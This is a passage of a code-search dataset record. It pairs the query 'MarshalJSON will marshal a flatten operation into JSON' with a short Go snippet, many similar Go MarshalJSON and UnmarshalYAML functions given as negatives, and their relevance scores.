UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&c.AdvancedCount); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !c.AdvancedCount.IsEmpty() {\\n\\t\\t// Successfully unmarshalled AdvancedCount fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&c.Value); err != nil {\\n\\t\\treturn errUnmarshalCountOpts\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultConfig\\n\\t// We want to set c to the defaults and then overwrite it with the input.\\n\\t// To make unmarshal fill the plain data struct rather than calling UnmarshalYAML\\n\\t// again, we have to hide it using a type indirection.\\n\\ttype plain Config\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&c.AdvancedCount); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif err := c.AdvancedCount.IsValid(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif !c.AdvancedCount.IsEmpty() {\\n\\t\\t// Successfully unmarshalled AdvancedCount fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := unmarshal(&c.Value); err != nil {\\n\\t\\treturn errUnmarshalCountOpts\\n\\t}\\n\\treturn nil\\n}\",\n \"func Unmarshal(y []byte, o interface{}, opts ...JSONOpt) error {\\n\\treturn yamlUnmarshal(y, o, false, opts...)\\n}\",\n \"func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias PortMapping\\n\\taux := &struct {\\n\\t\\tProtocol string `json:\\\"protocol\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(p),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif aux.Protocol != \\\"\\\" {\\n\\t\\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown protocol value: %s\\\", aux.Protocol)\\n\\t\\t}\\n\\t\\tp.Protocol = PortMappingProtocol(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *WebhookConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultWebhookConfig\\n\\ttype plain WebhookConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.URL == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing URL in webhook config\\\")\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"webhook config\\\")\\n}\",\n \"func (c *SDConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultSDConfig\\n\\ttype plain SDConfig\\n\\terr := unmarshal((*plain)(c))\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif len(c.Files) == 0 {\\n\\t\\treturn errors.New(\\\"file service discovery config must contain at least one path name\\\")\\n\\t}\\n\\tfor _, name := range c.Files {\\n\\t\\tif !patFileSDName.MatchString(name) {\\n\\t\\t\\treturn fmt.Errorf(\\\"path name %q is not valid for file discovery\\\", name)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7273444","0.68888307","0.6858969","0.6761655","0.6725371","0.6674661","0.66008407","0.65879637","0.6565157","0.6563841","0.6563841","0.65550166","0.65247244","0.6512991","0.6504512","0.6493297","0.64720696","0.6466778","0.6461792","0.6411948","0.64093304","0.6402989","0.639702","0.63943726","0.63938093","0.6390285","0.6386028","0.63829005","0.6379919","0.63792264","0.63654023","0.6357403","0.6357124","0.6349029","0.63302433","0.63266754","0.6284435","0.62834954","0.6274302","0.62702584","0.6267837","0.6263893","0.62607235","0.6258726","0.6258671","0.6255475","0.62491244","0.6248728","0.6248648","0.62486047","0.62394077","0.6233161","0.6204981","0.6203522","0.6201582","0.61957794","0.6190323","0.6181042","0.6175546","0.6170235","0.61658317","0.61643904","0.616209","0.61619884","0.61532176","0.61532176","0.61421436","0.61421436","0.61379373","0.6128621","0.6124358","0.61240494","0.6117283","0.6116874","0.61075157","0.6093962","0.6085696","0.6067674","0.6064184","0.60417277","0.6035546","0.6035117","0.6029331","0.6027545","0.60250854","0.6024853","0.6015193","0.6004047","0.59911984","0.5990669","0.59891987","0.59814626","0.59794635","0.5975388","0.5972979","0.5971427","0.59699184","0.595712","0.5955312","0.5952111"],"string":"[\n \"0.7273444\",\n \"0.68888307\",\n \"0.6858969\",\n \"0.6761655\",\n \"0.6725371\",\n \"0.6674661\",\n \"0.66008407\",\n \"0.65879637\",\n \"0.6565157\",\n \"0.6563841\",\n \"0.6563841\",\n \"0.65550166\",\n \"0.65247244\",\n \"0.6512991\",\n \"0.6504512\",\n \"0.6493297\",\n \"0.64720696\",\n \"0.6466778\",\n \"0.6461792\",\n \"0.6411948\",\n \"0.64093304\",\n \"0.6402989\",\n \"0.639702\",\n \"0.63943726\",\n \"0.63938093\",\n \"0.6390285\",\n \"0.6386028\",\n \"0.63829005\",\n \"0.6379919\",\n \"0.63792264\",\n \"0.63654023\",\n \"0.6357403\",\n \"0.6357124\",\n \"0.6349029\",\n \"0.63302433\",\n \"0.63266754\",\n \"0.6284435\",\n \"0.62834954\",\n \"0.6274302\",\n \"0.62702584\",\n \"0.6267837\",\n \"0.6263893\",\n \"0.62607235\",\n \"0.6258726\",\n \"0.6258671\",\n \"0.6255475\",\n \"0.62491244\",\n \"0.6248728\",\n \"0.6248648\",\n \"0.62486047\",\n \"0.62394077\",\n \"0.6233161\",\n \"0.6204981\",\n \"0.6203522\",\n \"0.6201582\",\n \"0.61957794\",\n \"0.6190323\",\n \"0.6181042\",\n \"0.6175546\",\n \"0.6170235\",\n \"0.61658317\",\n \"0.61643904\",\n \"0.616209\",\n \"0.61619884\",\n \"0.61532176\",\n \"0.61532176\",\n \"0.61421436\",\n \"0.61421436\",\n \"0.61379373\",\n \"0.6128621\",\n \"0.6124358\",\n \"0.61240494\",\n \"0.6117283\",\n \"0.6116874\",\n \"0.61075157\",\n \"0.6093962\",\n \"0.6085696\",\n \"0.6067674\",\n \"0.6064184\",\n \"0.60417277\",\n \"0.6035546\",\n \"0.6035117\",\n \"0.6029331\",\n \"0.6027545\",\n \"0.60250854\",\n \"0.6024853\",\n \"0.6015193\",\n \"0.6004047\",\n \"0.59911984\",\n \"0.5990669\",\n \"0.59891987\",\n \"0.59814626\",\n \"0.59794635\",\n \"0.5975388\",\n \"0.5972979\",\n \"0.5971427\",\n \"0.59699184\",\n \"0.595712\",\n \"0.5955312\",\n \"0.5952111\"\n]"},"document_score":{"kind":"string","value":"0.7536421"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106188,"cells":{"query":{"kind":"string","value":"MarshalJSON will marshal a flatten operation into JSON"},"document":{"kind":"string","value":"func (op OpFlatten) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(op.Field)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tpbo.Kind = KindPropertyBatchOperation\n\tobjectMap := make(map[string]interface{})\n\tif pbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = pbo.PropertyName\n\t}\n\tif pbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (op *Operation) Marshal() ([]byte, error) {\n\treturn json.Marshal(op)\n}","func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (f FeatureOperationsListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", f.NextLink)\n\tpopulate(objectMap, \"value\", f.Value)\n\treturn json.Marshal(objectMap)\n}","func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o OperationEntityListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }","func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tppbo.Kind = KindPut\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = ppbo.Value\n\tif ppbo.CustomTypeID != nil {\n\t\tobjectMap[\"CustomTypeId\"] = ppbo.CustomTypeID\n\t}\n\tif ppbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = ppbo.PropertyName\n\t}\n\tif ppbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = ppbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (spbi SuccessfulPropertyBatchInfo) MarshalJSON() ([]byte, error) {\n\tspbi.Kind = KindSuccessful\n\tobjectMap := make(map[string]interface{})\n\tif spbi.Properties != nil {\n\t\tobjectMap[\"Properties\"] = spbi.Properties\n\t}\n\tif spbi.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = spbi.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (s NestedAggregate) MarshalJSON() ([]byte, error) {\n\ttype opt NestedAggregate\n\t// We transform the struct to a map without the embedded additional properties map\n\ttmp := make(map[string]interface{}, 0)\n\n\tdata, err := json.Marshal(opt(s))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(data, &tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We inline the additional fields from the underlying map\n\tfor key, value := range s.Aggregations {\n\t\ttmp[fmt.Sprintf(\"%s\", key)] = value\n\t}\n\n\tdata, err = json.Marshal(tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}","func (v flattenedField) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker35(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (sl Slice) MarshalJSON() ([]byte, error) {\n\tnk := len(sl)\n\tb := make([]byte, 0, nk*100+20)\n\tif nk == 0 {\n\t\tb = append(b, []byte(\"null\")...)\n\t\treturn b, nil\n\t}\n\tnstr := fmt.Sprintf(\"[{\\\"n\\\":%d,\", nk)\n\tb = append(b, []byte(nstr)...)\n\tfor i, kid := range sl {\n\t\t// fmt.Printf(\"json out of %v\\n\", kid.PathUnique())\n\t\tknm := kit.Types.TypeName(reflect.TypeOf(kid).Elem())\n\t\ttstr := fmt.Sprintf(\"\\\"type\\\":\\\"%v\\\", \\\"name\\\": \\\"%v\\\"\", knm, kid.UniqueName()) // todo: escape names!\n\t\tb = append(b, []byte(tstr)...)\n\t\tif i < nk-1 {\n\t\t\tb = append(b, []byte(\",\")...)\n\t\t}\n\t}\n\tb = append(b, []byte(\"},\")...)\n\tfor i, kid := range sl {\n\t\tvar err error\n\t\tvar kb []byte\n\t\tkb, err = json.Marshal(kid)\n\t\tif err == nil {\n\t\t\tb = append(b, []byte(\"{\")...)\n\t\t\tb = append(b, kb[1:len(kb)-1]...)\n\t\t\tb = append(b, []byte(\"}\")...)\n\t\t\tif i < nk-1 {\n\t\t\t\tb = append(b, []byte(\",\")...)\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Printf(\"error doing json.Marshall from kid: %v\\n\", kid.PathUnique())\n\t\t\tlog.Println(err)\n\t\t\tfmt.Printf(\"output to point of error: %v\\n\", string(b))\n\t\t}\n\t}\n\tb = append(b, []byte(\"]\")...)\n\t// fmt.Printf(\"json out: %v\\n\", string(b))\n\treturn b, nil\n}","func (cvpbo CheckValuePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcvpbo.Kind = KindCheckValue\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = cvpbo.Value\n\tif cvpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cvpbo.PropertyName\n\t}\n\tif cvpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cvpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o OperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcepbo.Kind = KindCheckExists\n\tobjectMap := make(map[string]interface{})\n\tif cepbo.Exists != nil {\n\t\tobjectMap[\"Exists\"] = cepbo.Exists\n\t}\n\tif cepbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cepbo.PropertyName\n\t}\n\tif cepbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cepbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (f *FilterWrap) MarshalJSON() ([]byte, error) {\n\tvar root interface{}\n\tif len(f.filters) > 1 {\n\t\troot = map[string]interface{}{f.boolClause: f.filters}\n\t} else if len(f.filters) == 1 {\n\t\troot = f.filters[0]\n\t}\n\treturn json.Marshal(root)\n}","func (o Operations) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif o.NextLink != nil {\n\t\tobjectMap[\"nextLink\"] = o.NextLink\n\t}\n\treturn json.Marshal(objectMap)\n}","func (msssdto MigrateSQLServerSQLDbTaskOutput) MarshalJSON() ([]byte, error) {\n\tmsssdto.ResultType = ResultTypeMigrateSQLServerSQLDbTaskOutput\n\tobjectMap := make(map[string]interface{})\n\tif msssdto.ID != nil {\n\t\tobjectMap[\"id\"] = msssdto.ID\n\t}\n\tif msssdto.ResultType != \"\" {\n\t\tobjectMap[\"resultType\"] = msssdto.ResultType\n\t}\n\treturn json.Marshal(objectMap)\n}","func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(mutate.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(mutate.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase len(mutate.Mutations) == 0:\n\t\treturn nil, errors.New(\"Mutations field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range mutate.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\t// validate mutations\n\tfor _, mutation := range mutate.Mutations {\n\t\tif !mutation.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid mutation: %v\", mutation)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tMutations []Mutation `json:\"mutations\"`\n\t}{\n\t\tOp: mutate.Op(),\n\t\tTable: mutate.Table,\n\t\tWhere: mutate.Where,\n\t\tMutations: mutate.Mutations,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationList) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (r ResourceProviderOperationCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", r.NextLink)\n\tpopulate(objectMap, \"value\", r.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (m MultiConfigInput) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 1)\n\n\taO0, err := swag.WriteJSON(m.ParallelExecutionInputBase)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\t// now for regular properties\n\tvar propsMultiConfigInput struct {\n\t\tMultipliers string `json:\"multipliers,omitempty\"`\n\t}\n\tpropsMultiConfigInput.Multipliers = m.Multipliers\n\n\tjsonDataPropsMultiConfigInput, errMultiConfigInput := swag.WriteJSON(propsMultiConfigInput)\n\tif errMultiConfigInput != nil {\n\t\treturn nil, errMultiConfigInput\n\t}\n\t_parts = append(_parts, jsonDataPropsMultiConfigInput)\n\treturn swag.ConcatJSON(_parts...), nil\n}","func (dpbo DeletePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tdpbo.Kind = KindDelete\n\tobjectMap := make(map[string]interface{})\n\tif dpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = dpbo.PropertyName\n\t}\n\tif dpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = dpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (j *CreateNhAssetOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (p *Package) MarshalJSON() ([]byte, error) {\n\tflat := &flatPackage{\n\t\tID: p.ID,\n\t\tName: p.Name,\n\t\tPkgPath: p.PkgPath,\n\t\tErrors: p.Errors,\n\t\tGoFiles: p.GoFiles,\n\t\tCompiledGoFiles: p.CompiledGoFiles,\n\t\tOtherFiles: p.OtherFiles,\n\t\tEmbedFiles: p.EmbedFiles,\n\t\tEmbedPatterns: p.EmbedPatterns,\n\t\tIgnoredFiles: p.IgnoredFiles,\n\t\tExportFile: p.ExportFile,\n\t}\n\tif len(p.Imports) > 0 {\n\t\tflat.Imports = make(map[string]string, len(p.Imports))\n\t\tfor path, ipkg := range p.Imports {\n\t\t\tflat.Imports[path] = ipkg.ID\n\t\t}\n\t}\n\treturn json.Marshal(flat)\n}","func (t TransformCollection) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"@odata.nextLink\", t.ODataNextLink)\n\tpopulate(objectMap, \"value\", t.Value)\n\treturn json.Marshal(objectMap)\n}","func (v Join) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer21(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (s SelectOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(s.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(s.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range s.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tColumns []ID `json:\"columns,omitempty\"`\n\t}{\n\t\tOp: s.Op(),\n\t\tTable: s.Table,\n\t\tWhere: s.Where,\n\t\tColumns: s.Columns,\n\t}\n\n\treturn json.Marshal(temp)\n}","func (v bulkUpdateRequestCommandOp) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson1ed00e60EncodeGithubComOlivereElasticV7(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (m Pipeline) MarshalJSON() ([]byte, error) {\n\t_parts := make([][]byte, 0, 2)\n\n\taO0, err := swag.WriteJSON(m.Resource)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_parts = append(_parts, aO0)\n\n\tvar dataAO1 struct {\n\t\tCredentialID string `json:\"credentialId,omitempty\"`\n\n\t\tPath string `json:\"path,omitempty\"`\n\n\t\tProvider string `json:\"provider,omitempty\"`\n\n\t\tProviderID string `json:\"providerId,omitempty\"`\n\n\t\tSourceRepository *SourceRepository `json:\"sourceRepository,omitempty\"`\n\n\t\tTemplate interface{} `json:\"template,omitempty\"`\n\t}\n\n\tdataAO1.CredentialID = m.CredentialID\n\n\tdataAO1.Path = m.Path\n\n\tdataAO1.Provider = m.Provider\n\n\tdataAO1.ProviderID = m.ProviderID\n\n\tdataAO1.SourceRepository = m.SourceRepository\n\n\tdataAO1.Template = m.Template\n\n\tjsonDataAO1, errAO1 := swag.WriteJSON(dataAO1)\n\tif errAO1 != nil {\n\t\treturn nil, errAO1\n\t}\n\t_parts = append(_parts, jsonDataAO1)\n\n\treturn swag.ConcatJSON(_parts...), nil\n}","func (o OperationsDefinitionArrayResponseWithContinuation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", o.NextLink)\n\tpopulate(objectMap, \"value\", o.Value)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}","func (j *CommitteeMemberUpdateGlobalParametersOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (v ProductShrinkedArr) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncodeBackendInternalModels2(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (a *PipelineAggregation) MarshalJSON() ([]byte, error) {\n\troot := map[string]interface{}{\n\t\t\"buckets_path\": a.BucketPath,\n\t}\n\n\tfor k, v := range a.Settings {\n\t\tif k != \"\" && v != nil {\n\t\t\troot[k] = v\n\t\t}\n\t}\n\n\treturn json.Marshal(root)\n}","func (s *Operation) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(*s)\n}","func (ctsssto ConnectToSourceSQLServerTaskOutput) MarshalJSON() ([]byte, error) {\n\tctsssto.ResultType = ResultTypeBasicConnectToSourceSQLServerTaskOutputResultTypeConnectToSourceSQLServerTaskOutput\n\tobjectMap := make(map[string]interface{})\n\tif ctsssto.ID != nil {\n\t\tobjectMap[\"id\"] = ctsssto.ID\n\t}\n\tif ctsssto.ResultType != \"\" {\n\t\tobjectMap[\"resultType\"] = ctsssto.ResultType\n\t}\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (pbi PropertyBatchInfo) MarshalJSON() ([]byte, error) {\n\tpbi.Kind = KindPropertyBatchInfo\n\tobjectMap := make(map[string]interface{})\n\tif pbi.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbi.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}","func (b *SampleFJSONBuilder) Marshal(orig *SampleF) ([]byte, error) {\n\tret, err := b.Convert(orig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(ret)\n}","func (v nestedQuery) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson390b7126EncodeGithubComChancedPicker17(&w, v)\n\treturn 